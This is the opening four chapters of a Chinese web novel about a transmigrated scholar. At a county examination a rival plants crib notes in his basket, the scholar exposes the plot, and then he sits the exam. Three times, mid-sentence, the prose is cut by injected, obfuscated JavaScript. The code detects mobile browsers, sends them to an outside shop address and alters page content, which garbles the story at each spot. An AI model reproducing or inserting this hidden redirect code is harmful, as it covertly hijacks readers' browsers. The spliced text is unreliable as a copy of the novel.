《在重生文里考科举》 1. 001 梅鹤时甫一睁眼，便有凛冽寒风裹着碎雪扑上面颊，刺得肌肤微疼。 周遭人声嘈杂，脚步纷乱，皆是裹着单薄袍衫的男子，在衙役呵斥声中排成歪歪扭扭的长队。 不待他有所反应，陌生画面如走马灯般掠过脑海。 少年双腿尽断，被衙役拖出考棚，鲜血在雪地里拖出一道刺目红痕。 阴暗牢狱内，少年蜷缩在稻草堆上，听见狱卒议论童生陈耀文得知府赏识，倏地咳出一口血，气绝身亡。 ...... “时哥儿！” 一青年脸上堆着再和善不过的笑容，踏着积雪快步走近。 梅鹤时未作回应，只缓缓垂眸，看向全然陌生的稚嫩双手，及手中那只竹编的考篮。 篮身斑驳老旧，竹篾磨得发亮，提手处早已朽坏，略一晃动便吱呀作响。 下层屉盒的盖板翘开一道窄缝，寒风掠过，碎雪便簌簌飘入。 思及脑中浮现的种种光景，莫非是这具身体的过往？ 仔细一想，却又不然。 梅鹤时望向那庄重威严的朱红大门，比起过往，更像是即将遭遇。 青年行至身前，拍着胸口道：“时哥儿，你真是让我好找，我一转头你就没......” 他话音倏然一顿，指向考篮那条细缝：“瞧你这考篮，盖板都翘开了，雪粒子落进去，笔墨吃食受潮，待会儿该如何应试？” “好在时辰尚早，我先替你修整妥当，再一并查验笔墨，免得进了考场再出岔子。” 周遭几名考生闻言，眼中流露赞许之色。 这般风雪天，难得他有这份心。 梅鹤时低眉敛目，一派木讷姿态，只微微颔首：“有劳陈兄。” 陈耀文一手按住考篮盖板，另一只手看似随意地探入下层屉盒，拨弄里面的几只窝头，不无惋惜道：“你瞧，都湿了。” 梅鹤时淡淡一瞥，瓮声道：“稼穑艰难，不可铺张，剥去外皮便可。” 陈耀文瞧着他瘦削的双肩，忽而想起多年前，梅鹤时曾将自己舍不得吃的粽子糖分他半块，指缝间的纸卷莫名有些灼人。 只一瞬，他又想起前世那个高坐白马、万人簇拥的梅探花，迟疑尽数消弭，只余满腹嫉恨。 时哥儿啊，你勿要怪我无情。 只怪你命太好，挡了我的路。 陈耀文硬起心肠，侧身挡住众人视线，轻弹指甲，纸卷落于指尖。 再反手一按，将三个纸卷抵入隔层间那道年久开裂的细缝。 整套动作行云流水，无半分停顿，更无一人觉察。 陈耀文扣紧考篮卡扣，轻晃两下确认稳妥，这才将其归还，拍去手上浮灰，笑道：“好了，这回严实了，风雪再大也不怕。” 说罢，不待梅鹤时应答，转身立于他身后，用不高不低，周遭人皆能听见的声音说道：“时哥儿什么都好，唯独年纪轻，性子毛躁，考篮这般要紧的物事都收拾不利索。” “所幸我发现及时，否则待会儿进入考场，笔墨出了纰漏，可就悔之晚矣。” 右前方，同村考生刘澄摸了摸后脑勺，一脸惊奇：“这厮素来眼高于顶，瞧不上咱们，今日莫不是被什么脏东西上了身，才待你这般热情？” 梅鹤时罔若未闻，视线在前方持棍巡守的衙役、陈耀文左右两名相邻的考生身上打了个转，不动声色移开。 队伍缓慢向前挪动，碎雪打着旋儿落在肩头，寒意顺着袍角往骨子里钻。 一片叫冷声中，又一名考生通过搜检入场，前方仅余两人。 就在此时，梅鹤时忽然低眉，掀开考篮盖板，口中呢喃：“雪势越来越急，不知笔墨是否受潮。” 宽大衣袖垂落，手指探入隔层细缝。 指尖触及纸卷，略感黏腻。 只轻轻一抠，便将其轻松取下。 梅鹤时指腹夹住纸卷，又取出两只窝头，转身面向陈耀文：“方才多谢你帮我修整考篮，阿娘担心我饿着，做了好些窝头，分你两只可好？” 陈耀文没想到素来寡言的梅鹤时会主动搭话，看他的眼神多出几分审视。 梅鹤时似无所觉，一手稳住考篮提手，自顾打开盖板，将窝头放入其中。 同时指腹一抵，将那纸卷塞入提手的竹管中。 陈耀文两旁的考生正无聊四顾，不经意一瞥，瞳孔骤缩，忙抬手掩口，咽下呼之欲出的惊呼。 此人将何物藏入那考篮之中？ 究竟是何居心？ 陈耀文双眼紧盯梅鹤时面孔，见他神色坦然，警惕稍减。 垂首望去，梅鹤时已合上盖板，抿唇轻笑，略显局促：“这是白面掺杂粮做的，味道尚可，陈兄莫要嫌弃。” 陈耀文摸了摸下巴，笑容亲和：“时哥儿给的，我自然要好生品尝。” 待梅鹤时转回身去，他若无其事揭开盖板，取出那两只窝头，由内至外摸上一遍，又翻看考篮内部。 并无纸条、纸卷之类的物事。 陈耀文心下一松，暗笑自己疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525084|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神疑鬼。 梅鹤时早已不是前世位高权重、城府深沉的梅大人。 如今的他，不过是个年仅十岁的黄口小儿。 纵有些小聪明，又怎能识破这万全之局？ 相邻考生见陈耀文只在考篮内部翻找，嘴唇翕动，欲言又止。 “黄兄，你再听我背一遍《论语》可好？” “周兄，你可还记得昨夜那道题？” 二人咽下欲说之词，转头与同伴交谈起来。 ...... “下一个，上前搜检！” 衙役低喝，威严十足。 梅鹤时应声上前。 “梅鹤时，籍贯清河县太平村，年方十......” 胥吏手持点名册，念及此处话语微顿，抬首看向面前考生。 众考生多已束发，更有年过半百、白发苍苍的老翁，梅鹤时立于其间，无疑是年岁最小的那个。 不像是来求取功名的，更像是年幼不懂事，跑来凑热闹的孩童。 横竖县试报名并无太高门槛，只需身家清白，并不过问报名之人读了几年圣贤书，肚子里头有多少墨水。 胥吏暗自摇头，家里人也不劝着些，竟由着这孩子胡来。 届时一通乱写，岂不平白糟践了五百文报名钱？ 胥吏替阅卷官掬一把同情泪，念完余下信息，经廪生核对无误，确认是考生本人，在“梅鹤时”三个字后面画个圈。 “行了，去搜身罢。” 梅鹤时向胥吏躬身一揖，将考篮置于案上。 搜检官经验老到，喝令考生脱去衣衫鞋袜，摸查衣间夹层、袖口袜筒、束发系带，自上而下，半点疏漏不留。 确认无夹带，又取过考篮，取出干粮与文房用具，逐一核查。 就连那砚台，也以小锤轻敲四围，严防中空暗藏夹带。 查验完毕，不忘逐层拆解考篮，细查竹编外壁与屉盒。 末了，又将两指探入木隔层间。 历年夹带多藏于此，自是要格外严查。 陈耀文喉头滚动，咽下翻涌的亢奋，眼底闪过一丝几不可察的期待。 下一瞬，搜检官面色陡然凌厉，用力一抠，从夹缝扯出两卷纸条。 纸卷展开，蝇头小字赫然在目，通篇皆是《四书章句集注》中的文句。 “大胆！” 搜检官霍然抬首，拍案厉喝，声音震得周遭一静。 “竟敢在县考之中私藏夹带，还不将此人速速拿下！” 2. 002 搜检官此言一出，如冷水入油锅，考棚外瞬间炸开了锅。 “瞧着一脸老实，竟做出这般龌龊事。” “学业不精便罢了，还敢行舞弊之举，真是不知死活。” “科举最重公平，这等败类，当严惩不贷！” 无数鄙夷目光从四面八方涌来，如千万细针，直刺梅鹤时的脊梁骨。 陈耀文以手掩面，不让旁人瞧见他幸灾乐祸的嘴脸。 此番人赃并获，纵使百般辩解，也难逃舞弊重罪。 今日扳倒梅鹤时，小三元之位非他莫属，荣耀乡里指日可待！ 陈耀文猛掐掌心，压下唇畔弧度，阔步冲上前，声色俱厉斥道：“好你个梅鹤时，我一片好心待你，方才还替你修整考篮，你竟做出这等混账勾当！” 他忽而想起什么，打开考篮四下翻找：“方才你碰过我的考篮，莫不是想栽赃于我？” 周遭考生闻言，又是一阵骚动。 “真是人心险恶，这位兄台好心帮他，他却恩将仇报。” 搜检官震怒不已，厉喝道：“愣着作甚？还不将此人拿下，收押待审！” 衙役听令上前，却见少年不慌不忙，躬身一揖：“大人明鉴，此非学生夹带，实乃他人蓄意栽赃。” 陈耀文不以为意：“那纸卷从你篮中被搜出，物证确凿，你还想抵赖？” 梅鹤时指向搜检官手中纸卷：“大人请看这纸。” “此为毛边纸，崭新雪白，质地匀整。而学生家境贫寒，自启蒙至今，所用纸张皆为笔墨摊所售的廉价纸张。” “这一点，城西徐记笔墨摊的小贩可为学生作证。” 搜检官闻言，翻出梅鹤时考篮中的草纸。 果真如他所言，皆为陈旧泛黄，边缘毛糙的劣质纸。 梅鹤时声线平和，不疾不徐道：“其次，纸卷背侧有米糊粘痕。” 陈耀文心头一凛，五指攥紧考篮提手。 他怎会知晓米糊？ “学生素爱整洁，收纳物品从来只用线绳捆扎，而非米糊粘连。篮内、屉中、隔层之间绝无半点米糊痕迹，大人一查便知。” 搜检官伸手查探，除却纸卷所在之处，果真干净光滑，无半分黏腻之感。 陈耀文喉头干涩发紧，心跳如擂鼓，不祥的预感愈发浓烈。 梅鹤时既已知晓米糊的存在，必然清楚纸卷是何人放入篮中。 倘若他为了脱罪，拉自己下水，那可就遭了！ 不行，他必须想个法子，让梅鹤时闭嘴。 只是不待陈耀文想出应对之策，梅鹤时先看了过来，目光锐利如刀。 “其三，今日自出门至考场，学生寸步未离考篮。除陈耀文外，再无第二人触碰过此篮。” “方才风雪之中，正是此人主动上前，假意帮学生修整考篮，一手按盖，一手探入隔层之间。” “此番行径，学生的同乡刘澄、这位差爷皆亲眼目睹，可当堂作证。” 话音落下，虽已通过搜检，却未入场的刘澄当即挺身而出：“学生可作证，方才确实是陈耀文主动上前，替梅鹤时修整考篮，他的手也的确探入了隔层之中！” 一旁的衙役点头附和：“不错，小人亲眼所见。彼时此人神色如常，小人只当是寻常相帮，并未起疑。” 一圈人证下来，陈耀文额头冷汗涔涔而下，洇湿两鬓碎发。 他强忍慌乱，摆出万般委屈的神色：“我好心帮你，反倒落了一身不是？” “罢了，毕竟大家都瞧见我动过你的考篮，你若执意将罪名推到我身上，我孤身一人，根本无从自证。” “好心？”梅鹤时眉眼间尽是嘲弄，“陈兄这份好心，未免太过刻意。” “你方才替我修整考篮，转头便说我年纪轻，性子毛躁，连考篮都收拾不利索。” “彼时纸卷尚未搜出，你为何非要刻意数落我粗心大意？” “不过是预先埋下话柄，待事后查出夹带，便可顺理成章算在我头上。让人以为是我藏匿不周，咎由自取，而非他人蓄意栽赃。” “若非早有预谋，何必多此一举？” 众人恍然大悟，看陈耀文的眼神顿时变了。 所以从一开始，这便是一个局。 所谓热心帮忙，不过是借口罢了。 “你胡说！”陈耀文见卖惨不成，气急败坏道，“这全是你的凭空臆测！” 就在此时，右侧队伍中的黄姓考生犹豫一瞬，终是站了出来：“大人，学生方才看见，此人往陈耀文的篮中藏了东西。” 左侧的周姓考生亦出言作证。 陈耀文心下一喜，如同抓住最后一根救命稻草，急声道：“大人您听见了吗？是梅鹤时栽赃！他自己夹带被抓，还想嫁祸于我！” 遭到指认，梅鹤时依旧沉着，不见半分慌乱，对着黄姓考生微微颔首，坦然应道：“这位兄台所言不假，学生确实往陈耀文篮中塞了东西。” 众人一惊。 “这是不打自招？” 陈耀文指着梅鹤时，四下环顾：“诸位可听见了？他承认了！是他栽赃于我，我是清白......” 话音未落，却听得梅鹤时继续道：“学生塞入他篮中的，本就不是旁物，正是他塞入学生篮中的纸卷。” 陈耀文脸上笑容瞬间僵住。 梅鹤时慢条斯理道：“学生听闻每逢科考，常有士子为除去对手，将夹带暗藏他人篮中，行嫁祸之举。” “离家前，家母屡屡叮嘱，学生亦一路提防，不料果真遇上。” “识破栽赃后，学生便借赠与窝头，将其中一个纸卷放入他考篮中，留作证据，以待大人明察。” “大人只需命人拆开提手，真相自可水落石出。” 陈耀文伸手一探，心沉入谷底，抱紧怀中考篮，瞪着衙役连连后退：“别过来！这是我的东西，谁都不准碰！” 衙役钳住他的双臂，另一人则夺过考篮，短棍用力砸下。 “咔嚓——” 提手应声裂开，纸卷滚落到雪地里。 衙役捡起，呈与搜检官。 搜检官展开纸卷，与梅鹤时考篮中搜出的那两张放在一处。 字迹、纸张相同，就连那米糊粘痕的位置、深浅，也都全然一致。 搜检官自觉被愚弄，怒而拍案：“人证物证皆有，且将此人......” 话音未落，朱红大门内传来一声高唱。 “县令大人到——” 身着七品官袍，须发斑白的男子于衙役簇拥下缓步而出。 众人见状，忙低眉敛目，拱手见礼：“下官、草民参见大人。” “诸位不必多礼。”钱县令虚手一托，“本官方才巡视考棚，忽闻有人喊冤，特来一探究竟。” 搜检官近前，道明来龙去脉。 钱县令捻须，沉吟不语。 “大人！” 陈耀文冲到钱县令面前，“扑通”跪倒，抱住他的官靴。 “人证可买，物证可造，大人您不可听信他人片面之词，便妄下论断呐！” 梅鹤时近前一步：“大人，不知可否将这纸卷借学生一观？” 搜检官得了钱县令应允，递上纸卷。 梅鹤时垂眸审视，随即抬手示意：“大人请看，这些字迹无一例外，横划皆是笔锋上扬。” 陈耀文心里一突，暗叫不好。 他料定梅鹤时不会发现，只顾将纸卷藏于隐蔽之处，伪造出对方处心积虑舞弊的假象，竟忽略了字迹这一最为致命的破绽！ 钱县令凝神细看，那上扬弧度虽浅，似在刻意遮掩，可若是仔细辨认，不难看出雷同之处。 “学生与陈耀文相识多年，这分明是他的字迹。” 人群中，与陈耀文互相担保的考生李仁悄悄瞥了眼失魂落魄的陈耀文，又望向淡定从容的梅鹤时，最后将犹豫目光投向即将与他连坐的同伴。 其中一人低声急道：“他若咬死不认，咱们四个都得跟着遭殃。” 李仁攥紧双拳，指甲掐入掌心。 他本不愿背弃同窗，可眼下情势逼人，若陈耀文抵死不认，难保县令大人不会派狱吏严刑审问。 届时，他们四人难逃连坐，前程尽毁。 不如主动作证，戴罪立功，兴许县令大人能法外开恩，准他们入场应试。 李仁咬紧牙关，迈步上前：“大人，学生可以作证。” 另三人附和，言辞真切，引得众人哗然惊呼。 “此人心思歹毒，远比舞弊更为无耻，理应从重严惩，以正学风！” 讨伐之声如决堤洪水，陈耀文脸色青白交加，恨不能原地挖个缝钻进去。 梅鹤时从考篮取出廪保互结亲供单，与纸卷一并呈上：“此乃学生字迹，大人尽可两相对比。” 一旁衙役极有眼色地从陈耀文考篮中取来他的亲供单。 钱县令将三份字迹并排比对。 梅鹤时的横平竖直，端正规整，纸卷字迹却与陈耀文的笔法如出一辙，皆是横划上扬。 他将两份字迹甩在陈耀文脸上：“铁证如山，你还有何话说？” 陈耀文浑身剧烈一颤，如被重锤砸上脊梁，膝盖一软，重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525085|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跌坐在地。 望着风雪中身姿如松的少年，前世种种涌上心头。 半生苦读，六次落榜，不得已弃笔归耕，沦为卑贱农夫。 起早贪黑供长子读书，却供出个白眼狼，被逐出家门，冻死街头。 临终前，他听见有人谈论梅鹤时。 说他如何位高权重，说他那侄儿如何简在帝心，说梅家一门双杰，何等煊赫。 那番言论如?附骨之疽，盘亘在他心头，令他又羡又妒，恨不能取而代之。 于是，便有了今日之局。 他自以为天衣无缝，又知晓县试考题，定能取代梅鹤时，成为小三元。 殊不知早被对方识破，并反将一军！ 陈耀文只觉胸口堵得慌，满腔愤懑无处发泄。 梅鹤时为何要步步紧逼，害他至此？ 他所求不多，只是不想重蹈前世覆辙，一辈子做个卑贱庄稼汉罢了。 前世梅鹤时占尽世间好处，这一世也该轮到他了，不是吗？ 陈耀文不甘心，强辩道：“大人，这并非夹带，而是学生平日温书的默稿！” 他膝行上前，声泪俱下：“学生为熟记章句，日日默写四书，从无间断。” “今日仓促出门，不慎将默稿塞入袖中，方才帮梅鹤时整理考篮时意外滑落。” “他见我遗落默稿，便趁机设局，构陷学生舞弊。” 梅鹤时眉眼微挑，显出逼人锐意：“既是寻常默稿，为何要用米糊粘成细卷？为何偏偏藏入我考篮的隔层之中，而非屉盒内？” 陈耀文张口结舌，显然没想到这一层。 见陈耀文仍在狡辩，钱县令怒极，将他踹开：“本官为官十余年，什么样的鬼话没见过？你这套伎俩，本官早已看腻了！” “枉你读了多年圣贤书，竟用如此龌龊的伎俩构陷他人，简直丢尽读书人的脸面！” “本官若轻饶了你，今日胆敢加害同年，他日便敢加害同僚，党同伐异，祸乱朝纲！” 钱县令重喘一声，郑重宣判：“考生陈耀文，舞弊栽赃，败坏考场，杖责五十，戴枷三月示众，三年之内不许应试。” 陈耀文如遭雷击，浑身僵冷，嘴唇不住哆嗦，却一个字也说不出，只喉间溢出细碎呜咽。 钱县令看向李仁四人：“国法如山，不容轻犯。尔等虽未同谋，然失察属实，难逃罪责，罚停考两年，以儆效尤。” 李仁面色灰败，敢怒不敢言，却是怨上了梅鹤时。 若非梅鹤时将事情闹到无可转圜的地步，他又怎会遭此横祸？ 七百多个日夜，不知要生多少变数，足以改变前程命途。 衙役将陈耀文按在冰冷雪地里，碗口粗的木棍落在臀上。 剧痛铺天盖地袭来，惨嚎声撕破雪幕。 一片叫好声中，梅鹤时侧过脸，似不忍直视，心底却无半分波澜。 身为重生而来的主角，手段却如此下作，着实令人不齿。 他只是将陈耀文设的局，原封不动还了回去。 梅鹤时行至钱县令面前，拱手道：“大人，学生有一不情之请。” “但说无妨。” 县试尚未开考，便生出事端，钱县令心中甚是不悦。 但见梅鹤时从容镇定，临危而不惧，难免心生好感。 此子气度不凡，日后未必不成大器。 梅鹤时正色道：“学生恐今日之事以讹传讹，令家中长辈误会，恳请大人差一人前往太平村，替草民传个话，以安长辈之心。” “不错，孝心可嘉。”钱县令赞道，“你想让本官替你传什么话？” 梅鹤时从善如流道：“将今日之事如实相告即可。” 钱县令唤来衙役，当着梅鹤时的面叮嘱一番。 待那衙役领命而去，梅鹤时躬身称谢。 钱县令将文房用具与吃食一股脑塞进考篮，亲手递与梅鹤时，拍了拍他的肩：“你全力应考，便是对本官最大的回报。” 梅鹤时瞧见混作一团的窝头与墨锭，略微抿唇，温顺应是。 ...... 棍棒加身，陈耀文眼中却无半点悔意。 他怨毒紧盯梅鹤时离去的背影，牙齿咬得咯咯作响，嘴角溢出的血沫混着碎雪，在地上凝成刺目的红。 重活一世，机关算尽，竟栽在一个黄毛小儿手里。 这叫他如何甘心？ 他受此凌辱，梅鹤时也别想好过！ 陈耀文咽下喉头腥甜，艰难抬首，望向人群中尖嘴猴腮的男子。 那男子微微颔首，扭身退出人群。 3. 003 正值卯初三刻，距开考尚有半个多时辰。 梅鹤时并未入场，立于墙角樟树下，指尖无意识摩挲考篮提手，暗自思忖。 觉醒灵根前，他也曾苦读多年，金榜题名。 只是他所经历的科举分为解试、省试及殿试三个阶段，侧重诗赋与策论。 而在大庆朝，科举分为童试、乡试、会试及殿试四个阶段，共六级考试。 且大庆朝实行八股取士，考试以八股文为主，兼考察算学。 二者相较，显然大庆朝的科考难度更胜数倍。 纵然神识强大，数百年前所学至今历历在目，又融合了原主的记忆，梅鹤时也没有十足的把握，保证自己榜上有名。 正举棋不定，忽觉灵台一热，眼前景象陡然变换。 风雪、人声尽数消弭，鼻息间墨香氤氲，清冽醇厚，令人不自觉沉下心绪。 抬眼望去，层层书架高耸林立，各类藏书罗列其间，一眼望不到尽头。 梅鹤时缓步行至前方书案，只见案头文房四宝齐备，案角搁着一枚玉牌，上方镌刻“索引”二字。 他迟疑须臾，抬手抚上玉牌。 指尖触及的瞬间，金色文字从玉牌涌出，如流光般在他眼前铺展开来。 原来此方空间名为万界图书馆，收录诸天万界典籍，藏书逾千亿卷。 持牌者如有所求，触碰玉牌即可调取。 视线下移，有数行鎏金小字—— 既入馆中，外界时辰将完全静止。 考取童生功名前，每日可停留上限为六个时辰。 功名每晋一级，时限增加三个时辰，至进士二十一时辰封顶。 梅鹤时面露讶然，此地分明是专为读书人量身打造的科举圣地。 当年他若有此物，何至于日夜苦读，生生熬到咳血。 可惜造化弄人，数百年后的今日才阴差阳错落入他手。 梅鹤时蓦然想起，最后一道劫雷落下之际，依稀有一缕微光没入灵台。 莫非那缕微光便是万界图书馆？ 若真如此，他闯入这书中世界绝非偶然。 是天降劫数？ 还是冥冥之中的一线机缘？ 梅鹤时不得其解，索性作罢，将目光放在当下。 六个时辰，足够他将县试考察内容从头梳理一遍。 梅鹤时不再犹豫，再次触碰玉牌：“取四书五经、清河县过往十年的县试考题及县试相关的墨册。” 墨册，即科举教辅用书。 话音未落，数十卷书册整齐落在案头。 梅鹤时撩袍落座，铺纸磨墨。 此后六个时辰，他先将原主五年所学融会贯通，再对照名家墨册，拆解八股文的起承转合，琢磨破题技巧，一遍遍草拟、修改，直至章法烂熟。 针对县试考题，他按年份分类研读，总结出钱县令偏爱的立意方向。 算学则逐题推演，归纳常见题型的解题思路，做到一看便知解法。 遇上不解之处，便触碰玉牌，调取相关典籍，顷刻豁然开朗。 得益于馆内典籍，梅鹤时本就丰厚的学识愈发扎实，八股文信手拈来，算学、诗赋亦了然于胸。 时辰已到，梅鹤时将书册归位，心中默念“出”，从图书馆重返现实。 风雪愈加猛烈，冷风灌入领口，雪粒打在脸上，刺骨生疼。 少年眼底澄亮，再无半分踌躇，步履沉稳地踏入考棚。 ...... 进入考棚后，梅鹤时向胥吏提交廪保互结亲供单，核验无误，领取考卷及刻有座席号的考引，顺着人流去寻号房。 万幸，他分到的并非紧邻茅房的臭号。 不过这号房也好不到哪里去，四壁竹篾破损严重，风雪肆意灌入，根本无法御寒。 房中逼仄得仅能容身，除却充作桌凳的两块木板，便只余下一只炭盆、三块劣炭。 落座后，梅鹤时将篮中物件逐一取出，重新归位。 窝头居左，砚台居右。 而后又将笔墨归入上层屉盒，草纸边角对得整整齐齐，方才满意地轻舒一口气。 先前钱县令将考篮递与他，他便想这么做了。 实在是习惯使然，数百年来皆是如此，早已根深蒂固，难以更改。 梅鹤时取出巾帕，拭去木板上的积灰与冰碴，重又取出文房用具，规整置于案头。 研好墨，在考卷姓名栏写下“文童梅鹤时”五个字，轻轻吹干墨迹，便倚墙闭目，默背四书章句，温故万界图书馆中研习的考题。 半个时辰转瞬即逝，考生尽数入场，钱县令亲自锁上考棚大门。 朱红铜锁落锁的声响，在寂静中敲得人心头发紧。 “咚——” 悠长钟声轰然回荡，景泰十年县试第一场，正式开考。 ...... 县试连考五场，场场皆是硬仗，而这第一场便要刷去半数考生。 听得钟声长鸣，众考生如坐针毡，掌心冒汗，眉宇间满是惶然与凝重，四下皆是细碎压抑的低声呢喃。 “上苍保佑，切莫名落孙山。” “大学之道，在明明德......” 辰时刚至，便有衙役高举写有考题的木牌，于过道间来回走动，供考生抄录。 本场考题共三，四书二题、作诗一题。 针对四书题，二十岁上下考生分考已冠、未冠题，二者难度相去无几，只在采分宽严方面略有区分。 梅鹤时所得为后者，乃《论语》中章句。 “孝弟也者，其为仁之本与”。 要求默写全篇、附以释义，再作一篇不少于三百字的四书文。 其实科举题型，千变万化不离其宗。 尤其在八股盛行的大庆朝，考官出题多偏爱义理中正，关乎仁本、修身、伦常一类的考题。 譬如眼前这道出自《论语》学而篇的单句全题，主旨在于阐述孝悌乃仁之根本，守住一家伦常，便可守住本心与良知。 先前在图书馆中，梅鹤时曾做过类似题型，一眼便看破其中章法。 正待提笔，忽而眉心一蹙。 钱县令出题素来暗藏机锋，绝非只让考生谈“修身孝悌”这般简单。 梅鹤时再读题干，稍作沉吟后，眉宇悄然舒展。 他方才犯了绝大多数考生都会犯的错，破题只看表面。 须知家与国本为一体，若只从修身立意，便是落了下乘。 在家恪守孝悌，处事方能秉持忠信仁爱之心。 待人宽厚包容，为官自可忠君爱民。 稳住一家伦常，便是稳固天下秩序的根基。 至此，梅鹤时心中已有成算，遂提笔蘸墨：“仁道无穷......” 考卷仅此一份，要求卷面整洁，不得涂改。 如有污损，虽不致除名，在严苛的阅卷官眼中，已然先输一筹。 稳妥起见，梅鹤时先在草纸上草拟全文。 挥毫间，天光渐移，考场内亮堂许多，唯独风声呼啸不绝。 雪粒从竹篾缝隙飘进来，簌簌落于案头。 稍有迟疑，雪水便晕开点点墨痕，与字迹混作一团。 才写得半篇，几名小吏手持印章入场，依次于文章末尾处盖戳，以此注明考生答题快慢。 倘若只字未写，后续文章写得再好，仍有舞弊嫌疑。 考生正为破题抓耳挠腮，瞥见小吏逼近，登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525086|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时乱了心神，更不知从何下笔。 更有甚者急得手抖，一不留神将毛笔摔在考卷上，划出大片墨痕。 “完了！” 那考生霎时红了眼，掩面痛哭，却被考官厉声喝止。 “肃静！违纪者即刻除名！” 哭声顿止，考卷翻动声响却愈发频繁。 混着猎猎风声，搅得人心烦意乱，叹声迭起。 梅鹤时充耳不闻，抬袖拂去纸上细雪，另取一张草纸，盖在已写的字迹上。 小吏行至梅鹤时身前，落下一戳。 见少年姿态从容，字迹工整，不由心生赞许。 这小子倒是个沉得住气的。 寒风穿堂而过，吹得炭盆内的火星摇曳不止，仅有的一点暖意稍纵即逝。 不消片刻，执笔的右手便冻得红肿，如同浸在冰水里，泛起针扎般的刺痛。 偏生这具身体年纪尚幼，腕力微弱，须得凝神聚力，才能勉强稳住笔锋。 梅鹤时咬牙强忍，指尖力道未减分毫，四百余字文章思路清晰，从“孝悌立本心”到“孝悌固邦本”，层层递进，一气呵成。 草拟完毕后，稍作润色，便提笔誊写至考卷。 誊写过半，巳时已至，衙役再度高举木牌，公布第二道四书题。 “知止而后有定。” 此句出自《大学》首章，看似只谈修身立心，梅鹤时却依旧往深挖掘，从“读书人知止以明志”到“为政者知止以安邦”，两层立意展开论述。 “明德之功始于知方......” 考棚内风势极猛，有考生的草纸被吹飞，不顾一切追上去，被考官喝止，于雪地罚站半刻，。 梅鹤时瞥了眼面红耳赤的考生，将考卷挪到距炭盆稍远的位置，覆上草纸，再以镇纸压住，免得被狂风卷走。 指尖的麻木感越来越重，梅鹤时只得偶尔将手凑到炭盆边烤一烤，待痛楚些微缓解，便落笔疾书，不敢耽搁分毫。 转瞬又是一个时辰，第三道题如期公布。 “花落春仍在。” 要求作一首五言六韵诗，平仄、用韵、对仗皆要工整，半点差错不得有。 此时第二篇四书文尚未完稿，梅鹤时只抬眼扫过木牌上的题干，便将字句记在心中，继续伏案誊写。 待草稿定稿，已是临近午时。 正欲润色誊写，腹中突然唱起了空城计。 原主寅时用的朝食，不过是两个粗粮饼子，一番苦思耗神，早已消化殆尽，饥肠辘辘的滋味，搅得人五脏六腑空落落。 梅鹤时只得暂且停笔，从考篮取出冰冷的杂面窝头，向巡场小吏讨了一碗清水。 窝头又干又硬，嚼得牙根发酸，两腮胀痛，可他不敢多饮水。 考试期间如厕，需先向考官禀报，获准后还有两名小吏全程监视。 不仅耗时，更易搅乱心神，稍有不慎便会断了作答思路。 两个窝头勉强垫了肚子，梅鹤时着手作答试帖诗题。 砚台中，墨水早已被寒气凝干。 添水研墨的间隙，他想起原主的家人。 这一晃数个时辰，不知衙役是否抵达太平村，梅家人安好与否。 思绪掠过心头，被梅鹤时强行压下。 身处考场，前程命运皆系于笔下，断不可因杂念分心误事。 梅鹤时深吸一口寒气，眸中重归沉静，研墨调笔，继续沉心作答。 ...... 另一边，尖嘴猴腮的男子退出人群，裹紧身上破袄，顶着漫天飞雪，撒腿往太平村的方向狂奔。 甫一进村，便扯开破锣嗓子大喊。 “不好了！出大事了！你们村的梅鹤时县试舞弊被抓了！” 4. 004 男子进了村，专往人多的地方钻，唾沫星子混着漫天雪沫，四下飞溅。 “你们村的梅鹤时县试舞弊，被官老爷当场拿住了！” “县令大人震怒，当场扒了裤子，重打五十大板。这会儿已经关入牢中，怕是要流放三千里，终身不许再考喽！” 二月农闲，又逢暴雪，村民们大多窝在家中，做些手工打发时辰，还能挣几个铜钱，贴补家用。 破锣似的叫嚷穿透皑皑白雪，在太平村上空回荡。 众人一听这话，纷纷披衣推门而出，乌泱泱聚成一片。 “时哥儿那孩子瞧着斯斯文文，怎会做出这等糊涂事？” “流放事小，若情节严重，弄不好是要掉脑袋的，一大家子都得跟着受牵连。” “梅家这下算是天塌了，梅秀才泉下有知，怕是要气得活过来！” 村民们议论不休，大多对此事心存疑虑。 也有那么几个梅家同族，暗自打起了歪主意。 梅家虽穷得叮当响，好歹还有几间破屋、几亩薄田。 待那一家老小入了狱，高低能卖几个钱，他们也能分一杯羹。 男子抹了把脸上雪水，冲一旁妇人问道：“嫂子，你可知梅鹤时家在何处？” 妇人努了努嘴：“村西头那几间黄泥房，便是梅家。” 男子一路跑，一路唱大戏似的，扯开嗓门吆喝。 村民们被他勾得好奇心大起，自发跟了上去。 村尾，梅家。 